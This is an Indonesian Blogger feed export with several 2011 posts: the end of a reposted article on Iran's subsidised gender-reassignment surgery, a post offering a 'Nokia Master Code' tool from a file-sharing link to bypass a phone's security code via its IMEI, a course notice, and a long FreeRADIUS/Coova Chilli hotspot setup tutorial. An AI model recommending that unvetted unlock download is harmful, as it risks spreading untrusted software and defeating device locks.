dibantu. Sebelum operasi, pasien diperbolehkan berpakaian perempuan atau laki-laki di tempat umum. Setelah operasi mereka mendapatkan KTP baru.&lt;br /&gt;&lt;br /&gt;Ada juga yang beranggapan, Iran menyubsidi operasi kelamin untuk mencegah homoseksualitas. Namun, menurut dokter Mir-Jalali, masih ada alasan lain. "Negara yang mengenal segregasi kelamin, negara hanya membedakan antara laki-laki dan perempuan. Yang lainnya tidak ada. Tubuh yang disesuaikan bisa memberikan kejelasan bagi masyarakat."&lt;br /&gt;&lt;br /&gt;Hal sama dialami Hamed, laki-laki muda berahang lebar yang dulunya bernama Sjirien. "Perempuan berpakaian laki-laki selalu ditertawakan orang di jalan. Orang tidak tahu Anda ini sebenarnya apa."&lt;br /&gt;&lt;br /&gt;Kebijakan Iran berasal dari pertengahan tahun 1980-an. Ketika itu, Ayatollah Khomeini, perintis Republik Rslam, mengeluarkan fatwa yang mengizinkan perubahan kelamin. Kendati demikian, transgender masih tabu di Iran.&lt;br /&gt;&lt;br /&gt;Dokter Mir-Jalali sudah bertahun-tahun berjuang agar fenomena ini diterima masyarakat. "Dibandingkan 15 tahun lalu, situasi sudah sangat membaik. Ini memang perjuangan panjang. Sampai sekarang saya masih tetap memberi ceramah di seantero Iran, membahas masalah transgender, sehingga tidak lagi dianggap tabu."&lt;br /&gt;&lt;br /&gt;"Dalam beberapa kesempatan juga hadir Kariminia, ulama dari Qom (kota suci bagi kaum Syiah, Red.). Orang masih suka mencampuradukkan antara transgender dan homoseksualitas. Penting untuk mendengar dari seorang ulama terkemuka bahwa Allah tidak menganggap transgender dosa. Namun demikian, tetap sangat sulit untuk menyampaikan kepada seorang ayah bahwa putranya ingin hidup sebagai perempuan. Terutama bagi keluarga sangat religius di pedesaan, itu sangat memalukan. Mereka sangat takut apa kata tetangga. Seringkali orang dikucilkan keluarga."&lt;br /&gt;&lt;br /&gt;Nasib sama menimpa Somayeh. "Orangtua tidak mendukung saya. Mereka berkata, kalau kamu bertindak seperti laki-laki, kamu dengan sendirinya merasa diri laki-laki." Saya berharap mereka berubah pikiran setelah saya dioperasi, tapi tidak demikian. Saya tidak berhubungan lagi dengan keluarga. Kadang-kadang saya masih menelepon ibu saya. Dia selalu menangis. Saya sangat sedih sudah putus hubungan dengan keluarga, tapi tidak menyesal telah dioperasi. Mereka harus menerima saya apa adanya, walaupun saya tahu itu sangat sulit. Untung tunangan saya menerima saya apa adanya."&lt;br /&gt;&lt;br /&gt;Mir-Jalali jarang menemukan pasien yang menyesal setelah dioperasi. "Kami melakukan pembicaraan paling tidak satu tahun, untuk memastikan pasien kami benar-benar transgender."&lt;br /&gt;&lt;br /&gt;Iran Subsidi Biaya Ganti Kelamin - KOMPAS.com&lt;br /&gt;&lt;br /&gt;Iran yang Nyatanya negeri Pecundang malah di sanjung2 &lt;br /&gt;sumber : http://forum.vivanews.com/aneh-dan-lucu/253924-iran-subsidi-biaya-ganti-kelamin.html&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4903901177302388009-7195163617321628464?l=kluthix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kluthix.blogspot.com/feeds/7195163617321628464/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://kluthix.blogspot.com/2011/12/iran-subsidi-biaya-ganti-kelamin.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/7195163617321628464'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/7195163617321628464'/><link rel='alternate' type='text/html' href='http://kluthix.blogspot.com/2011/12/iran-subsidi-biaya-ganti-kelamin.html' title='Iran Subsidi Biaya Ganti Kelamin'/><author><name>Andi Novianto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://3.bp.blogspot.com/_uk6ho0aKuDg/SS9FZ2N-ndI/AAAAAAAAAAM/rEGsVGt1fF0/S220/Untitled-TrueColor-04.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4903901177302388009.post-2200581836860241308</id><published>2011-12-18T22:19:00.000-08:00</published><updated>2011-12-18T22:21:41.410-08:00</updated><title type='text'>Lupa Kode keamanan Nokia ???</title><content type='html'>Hp anda terkunci dan kode pengamannya lupa???&lt;br /&gt;Aduh, kasiaaaan, kalau saya mah, udah saya buang terus beli lagi sob. hehehe&lt;br /&gt;Mmm,, Tapi kayanya sayang deh, masa di buang? buat makan aja susah. Oiya, saya punya tools yang dapat digunakan untuk menjebol HP kita yang lupa kode keamanannya nie, software ini 100% gratis loh. hehehttp://www.blogger.com/img/blank.gif&lt;br /&gt;&lt;br /&gt;Dengan tools ini kita hanya perlu memasukkan no IMEI hp kita yangg terkunci. Udah tau belum No IMEI nya?? kalau belum, buka baterai dan liat dibelakang baterai tersebut no imeinya. Ada kan??&lt;br /&gt;Kemudian masukan deh NO IMEI tersebut ke dalam tools NOKIA MASTER CODE. Kemudian masukan kode yang didapat dari Nokia master kode ke HP kita yang terkunci.&lt;br /&gt;&lt;br /&gt;Selamat mencoba dan semoga berhasil.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://downloads.ziddu.com/downloadfile/6913639/NokiaMastercode.rar.html"&gt;Download Now&lt;/a&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4903901177302388009-2200581836860241308?l=kluthix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kluthix.blogspot.com/feeds/2200581836860241308/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://kluthix.blogspot.com/2011/12/lupa-kode-keamanan-nokia.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/2200581836860241308'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/2200581836860241308'/><link rel='alternate' type='text/html' href='http://kluthix.blogspot.com/2011/12/lupa-kode-keamanan-nokia.html' title='Lupa Kode keamanan Nokia ???'/><author><name>Andi Novianto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://3.bp.blogspot.com/_uk6ho0aKuDg/SS9FZ2N-ndI/AAAAAAAAAAM/rEGsVGt1fF0/S220/Untitled-TrueColor-04.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4903901177302388009.post-5666881033688991408</id><published>2011-12-18T20:26:00.000-08:00</published><updated>2011-12-18T20:57:14.018-08:00</updated><title type='text'>Tugas Mata Kuliah Jaringan Komputer untuk  D3 - TKJ (A)</title><content type='html'>Bagi mahasiswa STMIK Duta Bangsa Jurusan D3 TKJ kelas pagi mata kuliah Jaringan Komputer I, di harapkan membuat makalah dengan ketentuan tercantum pada link di bawah ini&lt;br /&gt;&lt;a href="http://www.ziddu.com/download/17870157/tugasmandiriD3TKJpagi.doc.html"&gt;Download tugas makalah&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.ziddu.com/delete/58907552/17870157/tugasmandiriD3TKJpagi.doc.html"&gt;&lt;/a&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4903901177302388009-5666881033688991408?l=kluthix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://kluthix.blogspot.com/feeds/5666881033688991408/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://kluthix.blogspot.com/2011/12/tugas-mata-kuliah-jaringan-komputer.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/5666881033688991408'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4903901177302388009/posts/default/5666881033688991408'/><link rel='alternate' type='text/html' href='http://kluthix.blogspot.com/2011/12/tugas-mata-kuliah-jaringan-komputer.html' title='Tugas Mata Kuliah Jaringan Komputer untuk  D3 - TKJ (A)'/><author><name>Andi Novianto</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='23' height='32' src='http://3.bp.blogspot.com/_uk6ho0aKuDg/SS9FZ2N-ndI/AAAAAAAAAAM/rEGsVGt1fF0/S220/Untitled-TrueColor-04.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4903901177302388009.post-1400875988439737413</id><published>2011-12-17T03:30:00.000-08:00</published><updated>2011-12-17T03:31:40.092-08:00</updated><title type='text'>Install Easyhotspot dan Konfigurasi Freeradius serta Coova Chilli debian</title><content type='html'>Easyhotspot sebenarnya sebuah aplikasi yang menggabungkan beberapa aplikasi lain menjadi satu, diantaranya adalah LAMP server (Linux, Apache, MySql, PHP), freeradius, dan chilli yang dengan adanya easyhotspot ketiganya bisa dimenejemen dengan mudah melalui sebuah web interface.&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Syarat minimal hardware yang harus dimiliki adalah sebuah PC dengan 2 buah kartu jaringan (LAN Card). selain itu, berdasar pengalaman mysql daemon akan sedikit membebani memory untuk itu minimal RAM yang direkomendasikan dalah 512MB meski kemungkinan besar juga bisa berjalan dengan RAM 256MB jika anda menggunakan OS tanpa GUI. Saya sendiri menginstallnya di sebuah CPU merk HP dengan spesifikasi Core 2 Duo E8600 3,33Ghz, RAM 2 Gb, 2 Ethernet card ( 1 LAN card on-board, 1 lagi PCI merk D-Link) dan 2 buah HDD total 1,14TB (160 Gb dan 1Tb). Sangat berlebihan sebenarnya untuk ukuran server hotspot namun server ini sekalian saya gunakan sebagai data server yang menyimpan file-file multimedia koleksi pribadi saya.&lt;br /&gt;&lt;br /&gt;freeRadius&lt;br /&gt;Saya mengasumsikan Anda semua sudah memiliki sebuah PC yang sudah terinstall Ubuntu 10.04 LTS, begitu juga dengan LAMP server (Apache,mysql dan php). Jika anda baru akan memulai menginstall Ubuntu, ada baiknya anda secara langsung memilih paket LAMP server dan SSH server saat proses penginstalan berlangsung. Namun jika anda sudah terlanjur menginstall ubuntu tanpa LAMP server anda bisa menginstallnya&lt;br /&gt;melalui perintah apt-get maupun dari tasksel. Saya yakin anda bisa melakukannya hingga tahap ini.&lt;br /&gt;&lt;br /&gt;Coovachilli&lt;br /&gt;Selanjutnya yang perlu anda persiapkan adalah 2 buah kartu jaringan, cek apakah keduanya sudah bekerja dengan baik, dan pastikan keduanya memiliki nama eth0 dan eth1. Yang perlu anda lakukan disini adalah menghubungkan eth0 dengan modem/router anda dan eth1 dengan akses point/switch. Awalnya saya sangat dibuat bingung dengan konfigurasi yang mesti mengganti nama interface yang terbolak-balik, belakangan saya menemukan cara dimana lebih baik menukar kabel daripada mesti mengganti nama interfacenya. Setting eth0 sesuai setting jaringan dari router anda, apakah mau diset secara otomatis menggunakan dhcp maupun statik. (saya lebih menganjurkan statik demi kemudahan remote server dari jaringan). Anda bisa melakukan konfigurasi dengan merubah file /etc/network/interfaces. Disini saya hanya melakukan setting pada loopback (auto) dan eth0 dengan memberinya ip 192.168.1.253, subnet 255.255.255.0, gateway/DNS 192.168.1.254 (ip modem/router). Selebihnya untuk eth1 saya biarkan saja karena nantinya akan diatur secara otomatis oleh chilli. Sekali lagi perhatikan bahwa tidak boleh ada DHCP server yang berjalan baik di mesin yang sedang anda kerjakan maupun di akses point yang tersambung dengan eth1.&lt;br /&gt;Tahap selanjutnya yang saya lakukan adalah menginstall paket-paket yang kemungkinan besar akan saya gunakan termasuk menginstall freeradius (anda bisa menambahkan atau mengurangi sesuai kebutuhan)&lt;br /&gt;&lt;br /&gt;    $apt-get -y install iptraf iftop whois sysstat snmp snmpd rrdtool dbconfig-common libphp-adodb php5-cli php5-gd php5-gmp php-pear php5-snmp php5-adodb make rpm alien subversion nmap libnet-netmask-perl curl freeradius freeradius-mysql php5-mcrypt perl openssl libnet-ssleay-perl libauthen-pam-perl libpam-runtime libio-pty-perl unzip git-core&lt;br /&gt;&lt;br /&gt;Untuk mempermudah pekerjaan administrasi (mengingat saya juga msih newbie :) ), saya menginstall webmin, beberapa paket yang dibutuhkan untuk webmin sudah terinstall dengan perintah diatas. Tinggal install paket libmd5-perl secara manual karena sudah tidak tersedia di repo Ubuntu Lucid, untuk itu kita perlu mendownload paketnya.&lt;br /&gt;&lt;br /&gt;    $wget http://mirrors.kernel.org/ubuntu/pool/universe/libm/libmd5-perl/libmd5-perl_2.03-1_all.deb&lt;br /&gt;    $dpkg -i libmd5-perl_2.03-1_all.deb&lt;br /&gt;    $wget http://prdownloads.sourceforge.net/webadmin/webmin_1.510-2_all.deb&lt;br /&gt;    $dpkg -i webmin_1.510-2_all.deb&lt;br /&gt;&lt;br /&gt;Ok,sampai disini anda sudah memiliki webmin dan juga freeradius yang sudah terinstall di LAMP server Ubuntu Linix 10.04 anda.&lt;br /&gt;Selanjutnya anda perlu untuk mengcopy easyhotspot web only dari git server, dan menaruhnya di folder pada server and a (semisal /opt/). Saya melakukan tahap ini terlebih dahulu untuk mendapatkan contoh schema mysql yang digunakan oleh easyhotspot nantinya. untuk itu lakukan perintah dibawah&lt;br /&gt;&lt;br /&gt;    $cd /opt&lt;br /&gt;    $git clone git://easyhotspot.git.sourceforge.net/gitroot/easyhotspot/easyhotspot&lt;br /&gt;&lt;br /&gt;Langkah selanjutnya dalah memastikan anda memiliki hak akses MySql dan saya sarankan anda merubah password root di MySql anda (password root mysql berbeda dengan root system) karena secara default, root tidak memiliki password.&lt;br /&gt;&lt;br /&gt;    $mysqladmin -u root password xxxyyyzzz&lt;br /&gt;&lt;br /&gt;“xxxyyyzzz” adalah contoh password mysql saya,anda bisa merubahnya sesuai dengan keinginan anda&lt;br /&gt;Kemudian buat sebuah database yang akan digunakan oleh freeradius dan easyhotspot untuk authentikasi dan menejemen account dan biliing saya menggunakan nama database “hotspot” anda bisa menggunakan nama lain.&lt;br /&gt;&lt;br /&gt;    $mysql -u root -pxxxyyyzzz create hotspot&lt;br /&gt;&lt;br /&gt;Masukkan skema database yang dibutuhkan kedlam database yang sudah dibuat diatas, disini saya menggunakan skema yang ada di folder easyhotspot yang sudah didownload dengan perintah git clone diatas.&lt;br /&gt;&lt;br /&gt;    $cd /opt/easyhotspot/install&lt;br /&gt;    $mysql -u root -pxxxyyyzzz hotspot &lt;br /&gt;&lt;br /&gt;Kemudian buat sebuah user mysql dengan nama easyhotspot dan password sesuai dengan keinginan anda (dalam contoh saya menggunakan password ‘xxyyzz’) yang memiliki akses ALL GRAND terhadap database hotspot yang sudah dibuat tadi (disni anda bisa memanfaatkan webmin untuk mempermudah). sebenarnya anda bisa menggunakan account root anda untuk digunakan oleh easyhotspot dan freeradius, namun saya sarankan anda membuat account baru saja untuk tutorial mysql anda bisa membacanya di http://www.pantz.org/software/mysql/mysqlcommands.html&lt;br /&gt;Setelah anda membuat account baru tersebut, anda harus menyesuaikan settingnya dengan setting database freeradius dan easyhotspot, untuk itu anda perlu merubah file /etc/freeradius/sql.conf dan /opt/easyhotspot/htdocs/system/application/config/database.php&lt;br /&gt;Pada file /etc/freeradius/sql.conf ubah setting server, login, password dan radius_db menjadi :&lt;br /&gt;&lt;br /&gt;    sql {&lt;br /&gt;    #&lt;br /&gt;    #  Set the database to one of:&lt;br /&gt;    #&lt;br /&gt;    #    mysql, mssql, oracle, postgresql&lt;br /&gt;    #&lt;br /&gt;    database = “mysql”&lt;br /&gt;    #&lt;br /&gt;    #  Which FreeRADIUS driver to use.&lt;br /&gt;    #&lt;br /&gt;    driver = “rlm_sql_${database}”&lt;br /&gt;    # Connection info:&lt;br /&gt;    server = “localhost”&lt;br /&gt;    #port = 3306&lt;br /&gt;    login = “easyhotspot”&lt;br /&gt;    password = “xxyyzz”&lt;br /&gt;    # Database table configuration for everything except Oracle&lt;br /&gt;    radius_db = “hotspot”&lt;br /&gt;&lt;br /&gt;Sedangkan pada /opt/easyhotspot/htdocs/system/application/config/database.php ubah setting database, username dan password sehingga menjadi :&lt;br /&gt;&lt;br /&gt;    $db['default']['hostname'] = “localhost”;&lt;br /&gt;    $db['default']['username'] = “easyhotspot”;&lt;br /&gt;    $db['default']['password'] = “xxyyzz”;&lt;br /&gt;    $db['default']['database'] = “hotspot”;&lt;br /&gt;    $db['default']['dbdriver'] = “mysql”;&lt;br /&gt;&lt;br /&gt;Langkah selanjutnya adalah membuat chilli sebagai client dari freeradius, untuk itu kita harus merubah file /etc/freeradius/clients.conf dan pastikan anda memiliki baris setting seperti dibawah :&lt;br /&gt;&lt;br /&gt;    ipaddr = 127.0.0.1&lt;br /&gt;    secret = easyhotspot //anda bisa merubah dan sesuaikan dengan setting di chilli&lt;br /&gt;    nastype = other&lt;br /&gt;&lt;br /&gt;Berikutnya yang juga penting adalah memberitahu freeradius untuk menggunakan MySql dalam authentikasi user. ubah file /etc/freeradius/radiusd.conf. dibagian modules (sekitar baris 648) dan uncommen :&lt;br /&gt;&lt;br /&gt;    $INCLUDE sql.conf &lt;br /&gt;&lt;br /&gt;begitu juga bebrapa baris berikutnya, uncomment pada :&lt;br /&gt;&lt;br /&gt;    $INCLUDE sql/mysql/counter.conf &lt;br /&gt;&lt;br /&gt;Kemudian cari di bagian instantiate (sekitar baris 715) dan tambahkan didalamnya :&lt;br /&gt;&lt;br /&gt;    max_all_mb&lt;br /&gt;    noresetcounter &lt;br /&gt;&lt;br /&gt;kemudian save file tersebut dan buka file /etc/freeradius/sites-enabled/default. Pada bagian authorise perhatikan baris yang berisi sql yang mungkin di”comment” anda harus meng-”uncomment” baris tersebut dan menambahkan baris sehingga menjadi seperti dibawah :&lt;br /&gt;&lt;br /&gt;    sql&lt;br /&gt;    max_all_mb&lt;br /&gt;    noresetcounter &lt;br /&gt;&lt;br /&gt;Anda juga harus meng-”uncomment” baris sql pada file yang sama di bagian accounting, session dan post-auth, kemudian save.&lt;br /&gt;Tahap selanjutnya adalah merubah file /etc/freeradius/sql/mysql/counter.conf, buka file tersebut dan lihat pada bagian akhir file, terdapat parameter&lt;br /&gt;&lt;br /&gt;    sqlcounter noresetcounter {&lt;br /&gt;    bla…bla…bla…&lt;br /&gt;&lt;br /&gt;Hapus semua baris diatas  hingga tanda } dan gantikan dengan :&lt;br /&gt;&lt;br /&gt;    sqlcounter noresetcounter {&lt;br /&gt;    counter-name = Session-Timeout&lt;br /&gt;    check-name = Session-Timeout&lt;br /&gt;    reply-name = Session-Timeout&lt;br /&gt;    sqlmod-inst = sql&lt;br /&gt;    key = User-Name&lt;br /&gt;    reset = never&lt;br /&gt;    query = “SELECT SUM(Acctsessiontime) FROM radacct WHERE UserName=’%{%k}’”&lt;br /&gt;    }&lt;br /&gt;    sqlcounter max_all_mb {&lt;br /&gt;    counter-name = Max-All-MB&lt;br /&gt;    check-name = Max-All-MB&lt;br /&gt;    reply-name = ChilliSpot-Max-Total-Octets&lt;br /&gt;    sqlmod-inst = sql&lt;br /&gt;    key = User-Name&lt;br /&gt;    reset = never&lt;br /&gt;    query = “SELECT SUM(AcctInputOctets)/(1024*1024) + SUM(AcctOutputOctets)/(1024*1024) FROM radacct WHERE UserName=’%{%k}’”&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;Sampai dini, seharusnya freeradius sudah bekerja. Anda bisa memastikan dengan manjalankan freeradius dengan mode debug.&lt;br /&gt;&lt;br /&gt;    $/etc/init.d/freeradius stop&lt;br /&gt;    $/usr/sbin/freeradius -X&lt;br /&gt;&lt;br /&gt;Anda bisa melihat jika freeradius error makan akan di tampilkan letak kesalahannya yang membuat freeradius tidak berjalan, namun jika freeradius sudah bekerja dengan benar akan muncul pemberitahun freeradius menunggu request selanjutnya. Jika telah berjalan dengan benar anda bisa mematikan mode debug dan menjalankan dalam modus normal dengan menekan tombol ctrl+c dan menjalankan perintah&lt;br /&gt;&lt;br /&gt;    $/usr/sbin/freeradius&lt;br /&gt;&lt;br /&gt;Pekerjaan selanjutnya adalah menginstall Coova Chilli. Sebelumnya anda mesti mendownload paket coova baru kemudian menginstalnya.&lt;br /&gt;&lt;br /&gt;    $wget http://ap.coova.org/chilli/coova-chilli_1.2.2_i386.deb&lt;br /&gt;    $dpkg -i coova-chilli_1.2.2_i386.deb&lt;br /&gt;&lt;br /&gt;Secara default, coova chilli di set dalam keadaan tidak aktif, anda harus mengaktifkan dengan cara merubah isi file /etc/default/chilli dan cari&lt;br /&gt;START_CHILLI=0 ubah menjadi START_CHILLI=1&lt;br /&gt;selanjutnya adalah download dan install Haserl&lt;br /&gt;&lt;br /&gt;    $wget http://sourceforge.net/projects/haserl/files/haserl/0.8.0/haserl-0.8.0.tar.gz/download&lt;br /&gt;    $tar -zxvf haserl-0.8.0.tar.gz&lt;br /&gt;    $cd haserl-0.8.0;./configure;make;sudo make install&lt;br /&gt;&lt;br /&gt;Kemudian Edit file /etc/chilli/wwwsh&lt;br /&gt;cari :&lt;br /&gt;&lt;br /&gt;    haserl=$(which haserl 2&gt;/dev/null)&lt;br /&gt;&lt;br /&gt;ubah menjadi :&lt;br /&gt;&lt;br /&gt;    haserl=/usr/local/bin/haserl&lt;br /&gt;&lt;br /&gt;kemudian tambahkan baris berikut pada file /etc/chilli/up.sh&lt;br /&gt;&lt;br /&gt;    # may not have been populated the first time; run again&lt;br /&gt;    [ -e "/var/run/chilli.iptables" ] &amp;&amp; sh /var/run/chilli.iptables 2&gt;/dev/null&lt;br /&gt;    # force-add the final rule necessary to fix routing tables&lt;br /&gt;    iptables -I POSTROUTING -t nat -o $HS_WANIF -j MASQUERADE&lt;br /&gt;&lt;br /&gt;Kemudian buka file /etc/chilli/default dan sesuaikan parameter sesuai setting-setting diatas, berikut adalah setting /etc/chilli/default saya :&lt;br /&gt;&lt;br /&gt;    # -*- mode: shell-script; -*-&lt;br /&gt;    #&lt;br /&gt;    #   Coova-Chilli Default Configurations.&lt;br /&gt;    #   To customize, copy this file to /etc/chilli/config&lt;br /&gt;    #   and edit to your liking. This is included in shell scripts&lt;br /&gt;    #   that configure chilli and related programs before file ‘config’.&lt;br /&gt;    ###&lt;br /&gt;    #   Local Network Configurations&lt;br /&gt;    #&lt;br /&gt;    # HS_WANIF=eth0            # WAN Interface toward the Internet&lt;br /&gt;    HS_LANIF=eth1           # Subscriber Interface for client devices&lt;br /&gt;    HS_NETWORK=10.1.0.0     # HotSpot Network (must include HS_UAMLISTEN)&lt;br /&gt;    HS_NETMASK=255.255.255.0   # HotSpot Network Netmask&lt;br /&gt;    HS_UAMLISTEN=10.1.0.1    # HotSpot IP Address (on subscriber network)&lt;br /&gt;    HS_UAMPORT=3990            # HotSpot UAM Port (on subscriber network)&lt;br /&gt;    HS_UAMUIPORT=4990          # HotSpot UAM “UI” Port (on subscriber network, for embedded portal)&lt;br /&gt;    # HS_DYNIP=&lt;br /&gt;    # HS_DYNIP_MASK=255.255.255.0&lt;br /&gt;    # HS_STATIP=&lt;br /&gt;    # HS_STATIP_MASK=255.255.255.0&lt;br /&gt;    # HS_DNS_DOMAIN=&lt;br /&gt;    # DNS Servers&lt;br /&gt;    HS_DNS1=192.168.1.254&lt;br /&gt;    ###&lt;br /&gt;    #   HotSpot settings for simple Captive Portal&lt;br /&gt;    #&lt;br /&gt;    HS_NASID=nas01&lt;br /&gt;    HS_RADIUS=localhost&lt;br /&gt;    HS_RADIUS2=localhost&lt;br /&gt;    HS_UAMALLOW=10.1.0.1,192.168.1.254,lestari-net.co.cc&lt;br /&gt;    HS_RADSECRET=easyhotspot    # Set to be your RADIUS shared secret//sesuai yang kita isikan di /etc/freeradius/clients.conf&lt;br /&gt;    HS_UAMSECRET=easyhotspot     # Set to be your UAM secret&lt;br /&gt;    HS_UAMALIASNAME=chilli&lt;br /&gt;    #  Configure RADIUS proxy support (for 802.1x + captive portal support)&lt;br /&gt;    # HS_RADPROXY=on&lt;br /&gt;    # HS_RADPROXY_LISTEN=127.0.0.1&lt;br /&gt;    # HS_RADPROXY_CLIENT=127.0.0.1&lt;br /&gt;    # HS_RADPROXY_PORT=1645&lt;br /&gt;    # HS_RADPROXY_SECRET=$HS_RADSECRET&lt;br /&gt;    #  Example OpenWrt /etc/config/wireless entry for hostapd&lt;br /&gt;    #    option encryption wpa2&lt;br /&gt;    #    option server $HS_RADPROXY_LISTEN&lt;br /&gt;    #    option port $HS_RADPROXY_PORT&lt;br /&gt;    #    option key $HS_RADPROXY_SECRET&lt;br /&gt;    #   To alternatively use a HTTP URL for AAA instead of RADIUS:&lt;br /&gt;    # HS_UAMAAAURL=http://my-site/script.php&lt;br /&gt;    #   Put entire domains in the walled-garden with DNS inspection&lt;br /&gt;    # HS_UAMDOMAINS=”.paypal.com,.paypalobjects.com”&lt;br /&gt;    #   Optional initial redirect and RADIUS settings&lt;br /&gt;    # HS_SSID=        # To send to the captive portal&lt;br /&gt;    # HS_NASMAC=  # To explicitly set Called-Station-Id&lt;br /&gt;    # HS_NASIP=    # To explicitly set NAS-IP-Address&lt;br /&gt;    #   The server to be used in combination with HS_UAMFORMAT to&lt;br /&gt;    #   create the final chilli ‘uamserver’ url configuration.&lt;br /&gt;    HS_UAMSERVER=$HS_UAMLISTEN&lt;br /&gt;    #   Use HS_UAMFORMAT to define the actual captive portal url.&lt;br /&gt;    #   Shell variable replacement takes place when evaluated, so here&lt;br /&gt;    #   HS_UAMSERVER is escaped and later replaced by the pre-defined&lt;br /&gt;    #   HS_UAMSERVER to form the actual “–uamserver” option in chilli.&lt;br /&gt;    HS_UAMFORMAT=http://\$HS_UAMLISTEN:\$HS_UAMUIPORT/www/login.chi&lt;br /&gt;    #   Same principal goes for HS_UAMHOMEPAGE.&lt;br /&gt;    HS_UAMHOMEPAGE=http://\$HS_UAMLISTEN:\$HS_UAMPORT/www/coova.html&lt;br /&gt;    #   This option will be configured to be the WISPr LoginURL as well&lt;br /&gt;    #   as provide “uamService” to the ChilliController. The UAM Service is&lt;br /&gt;    #   described in: http://www.coova.org/CoovaChilli/UAMService&lt;br /&gt;    #&lt;br /&gt;    # HS_UAMSERVICE=&lt;br /&gt;    ###&lt;br /&gt;    #   Features not activated per-default (default to off)&lt;br /&gt;    #&lt;br /&gt;    # HS_RADCONF=off        # Get some configurations from RADIUS or a URL (‘on’ and ‘url’ respectively)&lt;br /&gt;    #&lt;br /&gt;    # HS_ANYIP=on          # Allow any IP address on subscriber LAN&lt;br /&gt;    #&lt;br /&gt;    # HS_MACAUTH=on         # To turn on MAC Authentication&lt;br /&gt;    #&lt;br /&gt;    # HS_MACAUTHDENY=on     # Put client in ‘drop’ state on MAC Auth Access-Reject&lt;br /&gt;    #&lt;br /&gt;    # HS_MACAUTHMODE=local        # To allow MAC Authentication based on macallowed, not RADIUS&lt;br /&gt;    #&lt;br /&gt;    # HS_MACALLOW=”…”      # List of MAC addresses to authenticate (comma seperated)&lt;br /&gt;    #&lt;br /&gt;    # HS_USELOCALUSERS=on      # To use the /etc/chilli/localusers file&lt;br /&gt;    #&lt;br /&gt;    # HS_OPENIDAUTH=on      # To inform the RADIUS server to allow OpenID Auth&lt;br /&gt;    #&lt;br /&gt;    # HS_WPAGUESTS=on       # To inform the RADIUS server to allow WPA Guests&lt;br /&gt;    #&lt;br /&gt;    # HS_DNSPARANOIA=on     # To drop DNS packets containing something other&lt;br /&gt;    #                  # than A, CNAME, SOA, or MX records&lt;br /&gt;    #&lt;br /&gt;    # HS_OPENIDAUTH=on      # To inform the RADIUS server to allow OpenID Auth&lt;br /&gt;    #                  # Will also configure the embedded login forms for OpenID&lt;br /&gt;    #&lt;br /&gt;    # HS_USE_MAP=on         # Short hand for allowing the required google&lt;br /&gt;    #                  # sites to use Google maps (adds many google sites!)&lt;br /&gt;    #&lt;br /&gt;    ###&lt;br /&gt;    #   Other feature settings and their defaults&lt;br /&gt;    #&lt;br /&gt;    # HS_DEFSESSIONTIMEOUT=0   # Default session-timeout if not defined by RADIUS (0 for unlimited)&lt;br /&gt;    #&lt;br /&gt;    # HS_DEFIDLETIMEOUT=0    # Default idle-timeout if not defined by RADIUS (0 for unlimited)&lt;br /&gt;    #&lt;br /&gt;    # HS_DEFBANDWIDTHMAXDOWN=0   # Default WISPr-Bandwidth-Max-Down if not defined by RADIUS (0 for unlimited)&lt;br /&gt;    #&lt;br /&gt;    # HS_DEFBANDWIDTHMAXUP=0      # Default WISPr-Bandwidth-Max-Up if not defined by RADIUS (0 for unlimited)&lt;br /&gt;    ###&lt;br /&gt;    # Centralized configuration options examples&lt;br /&gt;    #&lt;br /&gt;    # HS_RADCONF=url        # requires curl&lt;br /&gt;    # HS_RADCONF_URL=https://coova.org/app/ap/config&lt;br /&gt;    # HS_RADCONF=on         # gather the ChilliSpot-Config attributes in&lt;br /&gt;    #                  # Administrative-User login&lt;br /&gt;    # HS_RADCONF_SERVER=rad01.coova.org        # RADIUS Server&lt;br /&gt;    # HS_RADCONF_SECRET=coova-anonymous        # RADIUS Shared Secret&lt;br /&gt;    # HS_RADCONF_AUTHPORT=1812           # Auth port&lt;br /&gt;    # HS_RADCONF_USER=chillispot               # Username&lt;br /&gt;    # HS_RADCONF_PWD=chillispot                # Password&lt;br /&gt;    ###&lt;br /&gt;    #   Firewall issues&lt;br /&gt;    #&lt;br /&gt;    # Uncomment the following to add ports to the allowed local ports list&lt;br /&gt;    # The up.sh script will allow these local ports to be used, while the default&lt;br /&gt;    # is 